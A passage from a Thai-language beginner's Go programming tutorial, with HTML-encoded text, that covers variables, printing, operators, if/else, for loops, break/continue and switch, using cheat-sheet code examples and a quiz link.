   &gt;=  &#xE21;&#xE32;&#xE01;&#xE01;&#xE27;&#xE48;&#xE32;&#xE2B;&#xE23;&#xE37;&#xE2D;&#xE40;&#xE17;&#xE48;&#xE32;&#xE01;&#xE31;&#xE1A;</code></pre><figcaption>Cheat Sheet!</figcaption></figure><h3 id="exercise"><em>Exercise</em></h3><p>&#xE40;&#xE02;&#xE35;&#xE22;&#xE19;&#xE42;&#xE04;&#xE49;&#xE14;&#xE2A;&#xE31;&#xE49;&#xE19; &#xE46; &#xE17;&#xE35;&#xE48;&#xE21;&#xE35;&#xE01;&#xE32;&#xE23;<strong>&#xE1B;&#xE23;&#xE30;&#xE01;&#xE32;&#xE28;&#xE15;&#xE31;&#xE27;&#xE41;&#xE1B;&#xE23;</strong> <strong>&#xE1E;&#xE34;&#xE21;&#xE1E;&#xE4C;&#xE02;&#xE49;&#xE2D;&#xE04;&#xE27;&#xE32;&#xE21;</strong> &#xE43;&#xE0A;&#xE49; <strong>Comment</strong> &#xE41;&#xE25;&#xE30;<strong>&#xE15;&#xE31;&#xE27;&#xE14;&#xE33;&#xE40;&#xE19;&#xE34;&#xE19;&#xE01;&#xE32;&#xE23;</strong></p><pre><code>&#xE15;&#xE31;&#xE27;&#xE2D;&#xE22;&#xE48;&#xE32;&#xE07;&#xE42;&#xE04;&#xE49;&#xE14;

package main

import &quot;fmt&quot;

func main() {
	// &#xE1B;&#xE23;&#xE30;&#xE01;&#xE32;&#xE28;&#xE15;&#xE31;&#xE27;&#xE41;&#xE1B;&#xE23;
	age := 25
	name := &quot;Nuttachot&quot;

	// &#xE1E;&#xE34;&#xE21;&#xE1E;&#xE4C;&#xE02;&#xE49;&#xE2D;&#xE04;&#xE27;&#xE32;&#xE21;
	fmt.Println(&quot;&#xE2A;&#xE27;&#xE31;&#xE2A;&#xE14;&#xE35;, Go!&quot;)
	fmt.Printf(&quot;%s &#xE2D;&#xE32;&#xE22;&#xE38; %d &#xE1B;&#xE35;\n&quot;, name, age)

	// &#xE01;&#xE32;&#xE23;&#xE04;&#xE33;&#xE19;&#xE27;&#xE13;
	result := age * 2
	fmt.Printf(&quot;&#xE2D;&#xE32;&#xE22;&#xE38; 2 &#xE40;&#xE17;&#xE48;&#xE32; : %d\n&quot;, result)
}</code></pre><p><em><a href="https://forms.gle/QNtXKFD68DELqUdR7?ref=blog.pjjop.org">Go Quiz 1</a> (20 &#xE02;&#xE49;&#xE2D;) </em>&#xE02;&#xE2D;&#xE43;&#xE2B;&#xE49;&#xE2A;&#xE19;&#xE38;&#xE01;&#xE01;&#xE31;&#xE1A;&#xE01;&#xE32;&#xE23;&#xE17;&#xE33; Quiz &#xE19;&#xE30;&#xE04;&#xE23;&#xE31;&#xE1A;</p><p><em>Q&amp;A?</em></p><h3 id="%E0%B8%A3%E0%B8%A7%E0%B8%A1-cheat-sheet-abc-%E0%B8%82%E0%B8%AD%E0%B8%87-go"><em>&#xE23;&#xE27;&#xE21; Cheat Sheet ABC &#xE02;&#xE2D;&#xE07; Go</em></h3><pre><code>ABC &#xE02;&#xE2D;&#xE07; Go
----------

1. &#xE01;&#xE32;&#xE23;&#xE1B;&#xE23;&#xE30;&#xE01;&#xE32;&#xE28;&#xE15;&#xE31;&#xE27;&#xE41;&#xE1B;&#xE23;&#xE43;&#xE19; Go
   - &#xE1B;&#xE23;&#xE30;&#xE01;&#xE32;&#xE28;&#xE41;&#xE1A;&#xE1A;&#xE0A;&#xE31;&#xE14;&#xE40;&#xE08;&#xE19; (var &#xE0A;&#xE37;&#xE48;&#xE2D;&#xE15;&#xE31;&#xE27;&#xE41;&#xE1B;&#xE23; &#xE0A;&#xE19;&#xE34;&#xE14;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25; = &#xE04;&#xE48;&#xE32;)
     var age int = 25
   - &#xE1B;&#xE23;&#xE30;&#xE01;&#xE32;&#xE28;&#xE41;&#xE1A;&#xE1A;&#xE2D;&#xE31;&#xE15;&#xE42;&#xE19;&#xE21;&#xE31;&#xE15;&#xE34; (&#xE0A;&#xE37;&#xE48;&#xE2D;&#xE15;&#xE31;&#xE27;&#xE41;&#xE1B;&#xE23; := &#xE04;&#xE48;&#xE32;)
     name := &quot;Nuttachot&quot;

2. &#xE0A;&#xE19;&#xE34;&#xE14;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25;&#xE1E;&#xE37;&#xE49;&#xE19;&#xE10;&#xE32;&#xE19;
   - int &#xE08;&#xE33;&#xE19;&#xE27;&#xE19;&#xE40;&#xE15;&#xE47;&#xE21; &#xE40;&#xE0A;&#xE48;&#xE19; 1, 2 &#xE41;&#xE25;&#xE30; 3
   - float64 &#xE17;&#xE28;&#xE19;&#xE34;&#xE22;&#xE21; &#xE40;&#xE0A;&#xE48;&#xE19; 3.14 &#xE41;&#xE25;&#xE30; 2.5
   - string &#xE02;&#xE49;&#xE2D;&#xE04;&#xE27;&#xE32;&#xE21; &#xE40;&#xE0A;&#xE48;&#xE19; &quot;Hello&quot; &#xE41;&#xE25;&#xE30; &quot;Go&quot;
   - bool &#xE04;&#xE48;&#xE32;&#xE04;&#xE27;&#xE32;&#xE21;&#xE08;&#xE23;&#xE34;&#xE07; &#xE44;&#xE14;&#xE49;&#xE41;&#xE01;&#xE48; true &#xE41;&#xE25;&#xE30; false
   
3. &#xE01;&#xE32;&#xE23;&#xE1E;&#xE34;&#xE21;&#xE1E;&#xE4C;&#xE02;&#xE49;&#xE2D;&#xE04;&#xE27;&#xE32;&#xE21;
   - fmt.Println(&quot;&#xE02;&#xE49;&#xE2D;&#xE04;&#xE27;&#xE32;&#xE21;&quot;) // &#xE1E;&#xE34;&#xE21;&#xE1E;&#xE4C;&#xE02;&#xE49;&#xE2D;&#xE04;&#xE27;&#xE32;&#xE21;&#xE41;&#xE25;&#xE30;&#xE02;&#xE36;&#xE49;&#xE19;&#xE1A;&#xE23;&#xE23;&#xE17;&#xE31;&#xE14;&#xE43;&#xE2B;&#xE21;&#xE48;
   - fmt.Printf(&quot;&#xE23;&#xE39;&#xE1B;&#xE41;&#xE1A;&#xE1A;&quot;, &#xE04;&#xE48;&#xE32;) // &#xE1E;&#xE34;&#xE21;&#xE1E;&#xE4C;&#xE02;&#xE49;&#xE2D;&#xE04;&#xE27;&#xE32;&#xE21;&#xE15;&#xE32;&#xE21;&#xE23;&#xE39;&#xE1B;&#xE41;&#xE1A;&#xE1A;&#xE17;&#xE35;&#xE48;&#xE01;&#xE33;&#xE2B;&#xE19;&#xE14;
   
     %d &#xE08;&#xE33;&#xE19;&#xE27;&#xE19;&#xE40;&#xE15;&#xE47;&#xE21;
     %f &#xE17;&#xE28;&#xE19;&#xE34;&#xE22;&#xE21;
     %s &#xE02;&#xE49;&#xE2D;&#xE04;&#xE27;&#xE32;&#xE21;
     %t boolean
     %T &#xE1B;&#xE23;&#xE30;&#xE40;&#xE20;&#xE17;&#xE02;&#xE2D;&#xE07;&#xE15;&#xE31;&#xE27;&#xE41;&#xE1B;&#xE23;
     %v &#xE04;&#xE48;&#xE32;&#xE02;&#xE2D;&#xE07;&#xE15;&#xE31;&#xE27;&#xE41;&#xE1B;&#xE23;&#xE43;&#xE19;&#xE23;&#xE39;&#xE1B;&#xE41;&#xE1A;&#xE1A; Default
     
     &#xE40;&#xE0A;&#xE48;&#xE19;
     fmt.Printf(&quot;&#xE09;&#xE31;&#xE19;&#xE2D;&#xE32;&#xE22;&#xE38; %d &#xE1B;&#xE35;&quot;, age)
     
4. Comment
// &#xE19;&#xE35;&#xE48;&#xE04;&#xE37;&#xE2D; comment &#xE1A;&#xE23;&#xE23;&#xE17;&#xE31;&#xE14;&#xE40;&#xE14;&#xE35;&#xE22;&#xE27;

/*
   &#xE19;&#xE35;&#xE48;&#xE04;&#xE37;&#xE2D; comment
   &#xE2B;&#xE25;&#xE32;&#xE22;&#xE1A;&#xE23;&#xE23;&#xE17;&#xE31;&#xE14;
*/

5. &#xE15;&#xE31;&#xE27;&#xE14;&#xE33;&#xE40;&#xE19;&#xE34;&#xE19;&#xE01;&#xE32;&#xE23;&#xE1E;&#xE37;&#xE49;&#xE19;&#xE10;&#xE32;&#xE19;
   +  &#xE1A;&#xE27;&#xE01;
   -  &#xE25;&#xE1A;
   *  &#xE04;&#xE39;&#xE13;
   /  &#xE2B;&#xE32;&#xE23;
   %  &#xE2B;&#xE32;&#xE23;&#xE40;&#xE2D;&#xE32;&#xE40;&#xE28;&#xE29;

6. &#xE01;&#xE32;&#xE23;&#xE40;&#xE1B;&#xE23;&#xE35;&#xE22;&#xE1A;&#xE40;&#xE17;&#xE35;&#xE22;&#xE1A;
   ==  &#xE40;&#xE17;&#xE48;&#xE32;&#xE01;&#xE31;&#xE1A;
   !=  &#xE44;&#xE21;&#xE48;&#xE40;&#xE17;&#xE48;&#xE32;&#xE01;&#xE31;&#xE1A;
   &lt;   &#xE19;&#xE49;&#xE2D;&#xE22;&#xE01;&#xE27;&#xE48;&#xE32;
   &gt;   &#xE21;&#xE32;&#xE01;&#xE01;&#xE27;&#xE48;&#xE32;
   &lt;=  &#xE19;&#xE49;&#xE2D;&#xE22;&#xE01;&#xE27;&#xE48;&#xE32;&#xE2B;&#xE23;&#xE37;&#xE2D;&#xE40;&#xE17;&#xE48;&#xE32;&#xE01;&#xE31;&#xE1A;
   &gt;=  &#xE21;&#xE32;&#xE01;&#xE01;&#xE27;&#xE48;&#xE32;&#xE2B;&#xE23;&#xE37;&#xE2D;&#xE40;&#xE17;&#xE48;&#xE32;&#xE01;&#xE31;&#xE1A;</code></pre><h2 id="%E0%B8%81%E0%B8%B2%E0%B8%A3%E0%B8%95%E0%B8%B1%E0%B8%94%E0%B8%AA%E0%B8%B4%E0%B8%99%E0%B9%83%E0%B8%88%E0%B9%83%E0%B8%99-code">&#xE01;&#xE32;&#xE23;&#xE15;&#xE31;&#xE14;&#xE2A;&#xE34;&#xE19;&#xE43;&#xE08;&#xE43;&#xE19; Code</h2><p>&#xE43;&#xE19; Go &#xE40;&#xE23;&#xE32;&#xE43;&#xE0A;&#xE49; if, else, for loop &#xE41;&#xE25;&#xE30; switch &#xE17;&#xE33;&#xE43;&#xE2B;&#xE49; Program &#xE15;&#xE31;&#xE14;&#xE2A;&#xE34;&#xE19;&#xE43;&#xE08;&#xE44;&#xE14;&#xE49;&#xE14;&#xE49;&#xE27;&#xE22;&#xE15;&#xE31;&#xE27;&#xE40;&#xE2D;&#xE07;</p><h3 id="if-%E0%B8%81%E0%B8%B2%E0%B8%A3%E0%B8%96%E0%B8%B2%E0%B8%A1%E0%B8%84%E0%B8%B3%E0%B8%96%E0%B8%B2%E0%B8%A1-%E0%B8%96%E0%B9%89%E0%B8%B2%E0%B8%84%E0%B8%B3%E0%B8%95%E0%B8%AD%E0%B8%9A%E0%B9%83%E0%B8%8A%E0%B9%88-%E0%B8%97%E0%B8%B3%E0%B8%AD%E0%B8%A2%E0%B9%88%E0%B8%B2%E0%B8%87%E0%B8%AB%E0%B8%99%E0%B8%B6%E0%B9%88%E0%B8%87-%E0%B8%96%E0%B9%89%E0%B8%B2%E0%B8%84%E0%B8%B3%E0%B8%95%E0%B8%AD%E0%B8%9A%E0%B9%84%E0%B8%A1%E0%B9%88%E0%B9%83%E0%B8%8A%E0%B9%88-%E0%B8%97%E0%B8%B3%E0%B8%AD%E0%B8%B5%E0%B8%81%E0%B8%AD%E0%B8%A2%E0%B9%88%E0%B8%B2%E0%B8%87"><em>if : &#xE01;&#xE32;&#xE23;&#xE16;&#xE32;&#xE21;&#xE04;&#xE33;&#xE16;&#xE32;&#xE21; &#xE16;&#xE49;&#xE32;&#xE04;&#xE33;&#xE15;&#xE2D;&#xE1A;&#xE43;&#xE0A;&#xE48; &#xE17;&#xE33;&#xE2D;&#xE22;&#xE48;&#xE32;&#xE07;&#xE2B;&#xE19;&#xE36;&#xE48;&#xE07; &#xE16;&#xE49;&#xE32;&#xE04;&#xE33;&#xE15;&#xE2D;&#xE1A;&#xE44;&#xE21;&#xE48;&#xE43;&#xE0A;&#xE48; &#xE17;&#xE33;&#xE2D;&#xE35;&#xE01;&#xE2D;&#xE22;&#xE48;&#xE32;&#xE07;</em></h3><pre><code>age := 18
if age &gt;= 18 {
    fmt.Println(&quot;&#xE04;&#xE38;&#xE13;&#xE2A;&#xE32;&#xE21;&#xE32;&#xE23;&#xE16;&#xE40;&#xE02;&#xE49;&#xE32;&#xE0A;&#xE21;&#xE44;&#xE14;&#xE49;&quot;)
} else {
    fmt.Println(&quot;&#xE04;&#xE38;&#xE13;&#xE2D;&#xE32;&#xE22;&#xE38;&#xE19;&#xE49;&#xE2D;&#xE22;&#xE40;&#xE01;&#xE34;&#xE19;&#xE44;&#xE1B;&quot;)
}

// &#xE1B;&#xE23;&#xE30;&#xE42;&#xE22;&#xE04; (statements) &#xE17;&#xE35;&#xE48;&#xE2D;&#xE22;&#xE39;&#xE48;&#xE43;&#xE19;&#xE40;&#xE07;&#xE37;&#xE48;&#xE2D;&#xE19;&#xE44;&#xE02; if &#xE41;&#xE25;&#xE30; else &#xE08;&#xE33;&#xE40;&#xE1B;&#xE47;&#xE19;&#xE15;&#xE49;&#xE2D;&#xE07;&#xE2D;&#xE22;&#xE39;&#xE48;&#xE20;&#xE32;&#xE22;&#xE43;&#xE19; {} &#xE40;&#xE2A;&#xE21;&#xE2D;
// &#xE41;&#xE21;&#xE49;&#xE27;&#xE48;&#xE32;&#xE08;&#xE30;&#xE21;&#xE35;&#xE40;&#xE1E;&#xE35;&#xE22;&#xE07;&#xE04;&#xE33;&#xE2A;&#xE31;&#xE48;&#xE07;&#xE40;&#xE14;&#xE35;&#xE22;&#xE27; &#xE40;&#xE1E;&#xE37;&#xE48;&#xE2D;&#xE40;&#xE1E;&#xE34;&#xE48;&#xE21;&#xE04;&#xE27;&#xE32;&#xE21;&#xE0A;&#xE31;&#xE14;&#xE40;&#xE08;&#xE19;&#xE43;&#xE19;&#xE01;&#xE32;&#xE23;&#xE2D;&#xE48;&#xE32;&#xE19;&#xE42;&#xE04;&#xE49;&#xE14;</code></pre><p>&#xE19;&#xE2D;&#xE01;&#xE08;&#xE32;&#xE01; <strong>if</strong>, <strong>else</strong> &#xE41;&#xE25;&#xE49;&#xE27; &#xE22;&#xE31;&#xE07;&#xE21;&#xE35; <strong>if</strong>, <strong>else if </strong>&#xE40;&#xE1E;&#xE37;&#xE48;&#xE2D;&#xE43;&#xE0A;&#xE49;&#xE16;&#xE32;&#xE21;&#xE44;&#xE14;&#xE49;&#xE21;&#xE32;&#xE01;&#xE01;&#xE27;&#xE48;&#xE32; 2 &#xE40;&#xE07;&#xE37;&#xE48;&#xE2D;&#xE19;&#xE44;&#xE02;&#xE04;&#xE23;&#xE31;&#xE1A;</p><figure class="kg-card kg-code-card"><pre><code>// if-else
   if &#xE40;&#xE07;&#xE37;&#xE48;&#xE2D;&#xE19;&#xE44;&#xE02; {
       // &#xE17;&#xE33;&#xE40;&#xE21;&#xE37;&#xE48;&#xE2D;&#xE40;&#xE07;&#xE37;&#xE48;&#xE2D;&#xE19;&#xE44;&#xE02;&#xE40;&#xE1B;&#xE47;&#xE19;&#xE08;&#xE23;&#xE34;&#xE07;
   } else {
       // &#xE17;&#xE33;&#xE40;&#xE21;&#xE37;&#xE48;&#xE2D;&#xE40;&#xE07;&#xE37;&#xE48;&#xE2D;&#xE19;&#xE44;&#xE02;&#xE40;&#xE1B;&#xE47;&#xE19;&#xE40;&#xE17;&#xE47;&#xE08;
   }

// &#xE2B;&#xE25;&#xE32;&#xE22;&#xE40;&#xE07;&#xE37;&#xE48;&#xE2D;&#xE19;&#xE44;&#xE02;
   if &#xE40;&#xE07;&#xE37;&#xE48;&#xE2D;&#xE19;&#xE44;&#xE02;1 {
       // &#xE17;&#xE33;&#xE40;&#xE21;&#xE37;&#xE48;&#xE2D;&#xE40;&#xE07;&#xE37;&#xE48;&#xE2D;&#xE19;&#xE44;&#xE02;1 &#xE40;&#xE1B;&#xE47;&#xE19;&#xE08;&#xE23;&#xE34;&#xE07;
   } else if &#xE40;&#xE07;&#xE37;&#xE48;&#xE2D;&#xE19;&#xE44;&#xE02;2 {
       // &#xE17;&#xE33;&#xE40;&#xE21;&#xE37;&#xE48;&#xE2D;&#xE40;&#xE07;&#xE37;&#xE48;&#xE2D;&#xE19;&#xE44;&#xE02;2 &#xE40;&#xE1B;&#xE47;&#xE19;&#xE08;&#xE23;&#xE34;&#xE07;
   } else {
       // &#xE17;&#xE33;&#xE40;&#xE21;&#xE37;&#xE48;&#xE2D;&#xE44;&#xE21;&#xE48;&#xE21;&#xE35;&#xE40;&#xE07;&#xE37;&#xE48;&#xE2D;&#xE19;&#xE44;&#xE02;&#xE43;&#xE14;&#xE40;&#xE1B;&#xE47;&#xE19;&#xE08;&#xE23;&#xE34;&#xE07;
   }
</code></pre><figcaption>Cheat Sheet!</figcaption></figure><h3 id="for-loop"><em>for loop</em></h3><p>for loop &#xE43;&#xE0A;&#xE49;&#xE40;&#xE21;&#xE37;&#xE48;&#xE2D;&#xE40;&#xE23;&#xE32;&#xE15;&#xE49;&#xE2D;&#xE07;&#xE01;&#xE32;&#xE23;&#xE17;&#xE33;&#xE2D;&#xE30;&#xE44;&#xE23;&#xE0B;&#xE49;&#xE33; &#xE46; &#xE2B;&#xE25;&#xE32;&#xE22;&#xE04;&#xE23;&#xE31;&#xE49;&#xE07;</p><pre><code>// &#xE19;&#xE31;&#xE1A; 1 &#xE16;&#xE36;&#xE07; 5
for i := 1; i &lt;= 5; i++ {
    fmt.Println(i)
}

// while-like loop
count := 0
for count &lt; 3 {
    fmt.Println(&quot;&#xE19;&#xE31;&#xE1A;:&quot;, count)
    count++
}</code></pre><p>for loop &#xE43;&#xE19; Go &#xE21;&#xE35; 3 &#xE41;&#xE1A;&#xE1A;&#xE2B;&#xE25;&#xE31;&#xE01; &#xE46; &#xE04;&#xE37;&#xE2D; <strong>&#xE41;&#xE1A;&#xE1A;&#xE21;&#xE32;&#xE15;&#xE23;&#xE10;&#xE32;&#xE19;</strong> &#xE17;&#xE35;&#xE48;&#xE21;&#xE35; &#xE04;&#xE48;&#xE32;&#xE40;&#xE23;&#xE34;&#xE48;&#xE21;&#xE15;&#xE49;&#xE19;; &#xE40;&#xE07;&#xE37;&#xE48;&#xE2D;&#xE19;&#xE44;&#xE02;; &#xE01;&#xE32;&#xE23;&#xE40;&#xE1B;&#xE25;&#xE35;&#xE48;&#xE22;&#xE19;&#xE41;&#xE1B;&#xE25;&#xE07; &#xE04;&#xE25;&#xE49;&#xE32;&#xE22;&#xE01;&#xE31;&#xE1A;&#xE20;&#xE32;&#xE29;&#xE32; C, C++, &#xE41;&#xE25;&#xE30; Java <strong>&#xE41;&#xE1A;&#xE1A; while </strong>&#xE41;&#xE25;&#xE30;<strong>&#xE41;&#xE1A;&#xE1A; for range</strong></p><p>&#xE08;&#xE30;&#xE40;&#xE2B;&#xE47;&#xE19;&#xE27;&#xE48;&#xE32; for loop &#xE02;&#xE2D;&#xE07; Go &#xE04;&#xE48;&#xE2D;&#xE19;&#xE02;&#xE49;&#xE32;&#xE07;&#xE21;&#xE35;&#xE04;&#xE27;&#xE32;&#xE21;&#xE22;&#xE37;&#xE14;&#xE2B;&#xE22;&#xE38;&#xE48;&#xE19;&#xE40;&#xE19;&#xE37;&#xE48;&#xE2D;&#xE07;&#xE08;&#xE32;&#xE01;&#xE21;&#xE35;&#xE23;&#xE39;&#xE1B;&#xE41;&#xE1A;&#xE1A;&#xE01;&#xE32;&#xE23;&#xE43;&#xE0A;&#xE49;&#xE07;&#xE32;&#xE19;&#xE17;&#xE35;&#xE48;&#xE2B;&#xE25;&#xE32;&#xE01;&#xE2B;&#xE25;&#xE32;&#xE22;&#xE41;&#xE25;&#xE30;&#xE44;&#xE21;&#xE48;&#xE08;&#xE33;&#xE40;&#xE1B;&#xE47;&#xE19;&#xE15;&#xE49;&#xE2D;&#xE07;&#xE43;&#xE0A;&#xE49;&#xE27;&#xE07;&#xE40;&#xE25;&#xE47;&#xE1A;&#xE17;&#xE35;&#xE48;&#xE40;&#xE07;&#xE37;&#xE48;&#xE2D;&#xE19;&#xE44;&#xE02;</p><figure class="kg-card kg-code-card"><pre><code>for loops:
   // &#xE41;&#xE1A;&#xE1A;&#xE21;&#xE32;&#xE15;&#xE23;&#xE10;&#xE32;&#xE19;
   for &#xE04;&#xE48;&#xE32;&#xE40;&#xE23;&#xE34;&#xE48;&#xE21;&#xE15;&#xE49;&#xE19;; &#xE40;&#xE07;&#xE37;&#xE48;&#xE2D;&#xE19;&#xE44;&#xE02;; &#xE01;&#xE32;&#xE23;&#xE40;&#xE1B;&#xE25;&#xE35;&#xE48;&#xE22;&#xE19;&#xE41;&#xE1B;&#xE25;&#xE07; {
       // &#xE17;&#xE33;&#xE0B;&#xE49;&#xE33;&#xE46;
   }

   // &#xE41;&#xE1A;&#xE1A; while
   for &#xE40;&#xE07;&#xE37;&#xE48;&#xE2D;&#xE19;&#xE44;&#xE02; {
       // &#xE17;&#xE33;&#xE0B;&#xE49;&#xE33;&#xE46; &#xE15;&#xE23;&#xE32;&#xE1A;&#xE43;&#xE14;&#xE17;&#xE35;&#xE48;&#xE40;&#xE07;&#xE37;&#xE48;&#xE2D;&#xE19;&#xE44;&#xE02;&#xE40;&#xE1B;&#xE47;&#xE19;&#xE08;&#xE23;&#xE34;&#xE07;
   }
   
   // &#xE41;&#xE1A;&#xE1A; for range
   for index, value := range array {

   }
</code></pre><figcaption>Cheat Sheet!</figcaption></figure><h3 id="break-%E0%B9%81%E0%B8%A5%E0%B8%B0-continue"><em>break &#xE41;&#xE25;&#xE30; continue</em></h3><p>Break &#xE43;&#xE0A;&#xE49;&#xE40;&#xE1E;&#xE37;&#xE48;&#xE2D;&#xE2D;&#xE2D;&#xE01;&#xE08;&#xE32;&#xE01; Loop &#xE17;&#xE31;&#xE19;&#xE17;&#xE35;! </p><pre><code>for i := 1; i &lt;= 10; i++ {
	if i == 5 {
		fmt.Println(&quot;&#xE40;&#xE08;&#xE2D;&#xE40;&#xE25;&#xE02; 5 &#xE2D;&#xE2D;&#xE01;&#xE08;&#xE32;&#xE01;&#xE25;&#xE39;&#xE1B;!&quot;)
		break
	}
	fmt.Println(i)
}
fmt.Println(&quot;&#xE08;&#xE1A;&#xE42;&#xE1B;&#xE23;&#xE41;&#xE01;&#xE23;&#xE21;&quot;)</code></pre><p>Continue &#xE43;&#xE0A;&#xE49;&#xE40;&#xE1E;&#xE37;&#xE48;&#xE2D;&#xE02;&#xE49;&#xE32;&#xE21;&#xE01;&#xE32;&#xE23;&#xE17;&#xE33;&#xE07;&#xE32;&#xE19;&#xE17;&#xE35;&#xE48;&#xE40;&#xE2B;&#xE25;&#xE37;&#xE2D;&#xE43;&#xE19;&#xE23;&#xE2D;&#xE1A;&#xE19;&#xE31;&#xE49;&#xE19; &#xE41;&#xE25;&#xE30;&#xE44;&#xE1B;&#xE40;&#xE23;&#xE34;&#xE48;&#xE21;&#xE23;&#xE2D;&#xE1A;&#xE16;&#xE31;&#xE14;&#xE44;&#xE1B;&#xE17;&#xE31;&#xE19;&#xE17;&#xE35;</p><pre><code>for i := 1; i &lt;= 5; i++ {
	if i == 3 {
		fmt.Println(&quot;&#xE02;&#xE49;&#xE32;&#xE21;&#xE40;&#xE25;&#xE02; 3!&quot;)
		continue
	}
	fmt.Println(i)
}
fmt.Println(&quot;&#xE08;&#xE1A;&#xE42;&#xE1B;&#xE23;&#xE41;&#xE01;&#xE23;&#xE21;&quot;)</code></pre><p>&#xE15;&#xE31;&#xE27;&#xE2D;&#xE22;&#xE48;&#xE32;&#xE07;&#xE01;&#xE32;&#xE23;&#xE43;&#xE0A;&#xE49;&#xE17;&#xE31;&#xE49;&#xE07; Break &#xE41;&#xE25;&#xE30; Cotinue &#xE23;&#xE48;&#xE27;&#xE21;&#xE01;&#xE31;&#xE19;</p><pre><code>for i := 1; i &lt;= 10; i++ {
        if i%2 == 0 {
            fmt.Println(&quot;&#xE02;&#xE49;&#xE32;&#xE21;&#xE40;&#xE25;&#xE02;&#xE04;&#xE39;&#xE48;:&quot;, i)
            continue
        }
        if i &gt; 7 {
            fmt.Println(&quot;&#xE40;&#xE08;&#xE2D;&#xE40;&#xE25;&#xE02;&#xE21;&#xE32;&#xE01;&#xE01;&#xE27;&#xE48;&#xE32; 7 &#xE2D;&#xE2D;&#xE01;&#xE08;&#xE32;&#xE01;&#xE25;&#xE39;&#xE1B;!&quot;)
            break
        }
        fmt.Println(&quot;&#xE40;&#xE25;&#xE02;&#xE04;&#xE35;&#xE48;:&quot;, i)
    }
    fmt.Println(&quot;&#xE08;&#xE1A;&#xE42;&#xE1B;&#xE23;&#xE41;&#xE01;&#xE23;&#xE21;&quot;)</code></pre><h3 id="switch"><em>switch</em></h3><p>switch &#xE43;&#xE0A;&#xE49;&#xE40;&#xE21;&#xE37;&#xE48;&#xE2D;&#xE21;&#xE35;&#xE2B;&#xE25;&#xE32;&#xE22;&#xE17;&#xE32;&#xE07;&#xE40;&#xE25;&#xE37;&#xE2D;&#xE01; &#xE41;&#xE17;&#xE19;&#xE01;&#xE32;&#xE23;&#xE43;&#xE0A;&#xE49; if-else &#xE0B;&#xE49;&#xE2D;&#xE19;&#xE01;&#xE31;&#xE19;&#xE2B;&#xE25;&#xE32;&#xE22;&#xE0A;&#xE31;&#xE49;&#xE19;</p><pre><code>day := &quot;&#xE08;&#xE31;&#xE19;&#xE17;&#xE23;&#xE4C;&quot;
switch day {
case &quot;&#xE08;&#xE31;&#xE19;&#xE17;&#xE23;&#xE4C;&quot;:
    fmt.Println(&quot;&#xE27;&#xE31;&#xE19;&#xE15;&#xE49;&#xE19;&#xE2A;&#xE31;&#xE1B;&#xE14;&#xE32;&#xE2B;&#xE4C;&quot;)
case &quot;&#xE28;&#xE38;&#xE01;&#xE23;&#xE4C;&quot;:
    fmt.Println(&quot;&#xE43;&#xE01;&#xE25;&#xE49;&#xE27;&#xE31;&#xE19;&#xE2B;&#xE22;&#xE38;&#xE14;&#xE41;&#xE25;&#xE49;&#xE27;&quot;)
default:
    fmt.Println(&quot;&#xE27;&#xE31;&#xE19;&#xE18;&#xE23;&#xE23;&#xE21;&#xE14;&#xE32;&quot;)
}</code></pre><p>switch &#xE43;&#xE19; Go &#xE08;&#xE30;&#xE44;&#xE21;&#xE48;&#xE17;&#xE33;&#xE07;&#xE32;&#xE19;&#xE15;&#xE01;&#xE25;&#xE07;&#xE21;&#xE32;&#xE43;&#xE19; Case &#xE16;&#xE31;&#xE14;&#xE44;&#xE1B;&#xE42;&#xE14;&#xE22;&#xE2D;&#xE31;&#xE15;&#xE42;&#xE19;&#xE21;&#xE31;&#xE15;&#xE34;&#xE2B;&#xE32;&#xE01;&#xE44;&#xE21;&#xE48;&#xE21;&#xE35;&#xE01;&#xE32;&#xE23;&#xE43;&#xE0A;&#xE49;&#xE04;&#xE33;&#xE2A;&#xE31;&#xE48;&#xE07; <strong>fallthrough</strong> &#xE0B;&#xE36;&#xE48;&#xE07;&#xE15;&#xE48;&#xE32;&#xE07;&#xE08;&#xE32;&#xE01; C, C++, &#xE41;&#xE25;&#xE30; Java &#xE17;&#xE35;&#xE48;&#xE08;&#xE30;&#xE15;&#xE49;&#xE2D;&#xE07;&#xE43;&#xE0A;&#xE49;&#xE04;&#xE33;&#xE2A;&#xE31;&#xE48;&#xE07; break &#xE40;&#xE1E;&#xE37;&#xE48;&#xE2D;&#xE1B;&#xE49;&#xE2D;&#xE07;&#xE01;&#xE31;&#xE19;&#xE01;&#xE32;&#xE23;&#xE15;&#xE01;&#xE25;&#xE07;&#xE21;&#xE32;&#xE43;&#xE19; case &#xE16;&#xE31;&#xE14;&#xE44;&#xE1B;</p><figure class="kg-card kg-code-card"><pre><code>switch
   switch &#xE15;&#xE31;&#xE27;&#xE41;&#xE1B;&#xE23; {
   case &#xE04;&#xE48;&#xE32;1:
       // &#xE17;&#xE33;&#xE40;&#xE21;&#xE37;&#xE48;&#xE2D;&#xE15;&#xE31;&#xE27;&#xE41;&#xE1B;&#xE23;&#xE21;&#xE35;&#xE04;&#xE48;&#xE32;&#xE40;&#xE17;&#xE48;&#xE32;&#xE01;&#xE31;&#xE1A; &#xE04;&#xE48;&#xE32;1
       fallthrough // &#xE15;&#xE49;&#xE2D;&#xE07;&#xE01;&#xE32;&#xE23;&#xE43;&#xE2B;&#xE49;&#xE01;&#xE32;&#xE23;&#xE17;&#xE33;&#xE07;&#xE32;&#xE19;&#xE15;&#xE01;&#xE25;&#xE07;&#xE21;&#xE32;&#xE43;&#xE19; case &#xE16;&#xE31;&#xE14;&#xE44;&#xE1B;
   case &#xE04;&#xE48;&#xE32;2:
       // &#xE17;&#xE33;&#xE40;&#xE21;&#xE37;&#xE48;&#xE2D;&#xE15;&#xE31;&#xE27;&#xE41;&#xE1B;&#xE23;&#xE21;&#xE35;&#xE04;&#xE48;&#xE32;&#xE40;&#xE17;&#xE48;&#xE32;&#xE01;&#xE31;&#xE1A; &#xE04;&#xE48;&#xE32;2
   default:
       // &#xE17;&#xE33;&#xE40;&#xE21;&#xE37;&#xE48;&#xE2D;&#xE44;&#xE21;&#xE48;&#xE15;&#xE23;&#xE07;&#xE01;&#xE31;&#xE1A;&#xE04;&#xE48;&#xE32;&#xE43;&#xE14;&#xE40;&#xE25;&#xE22;
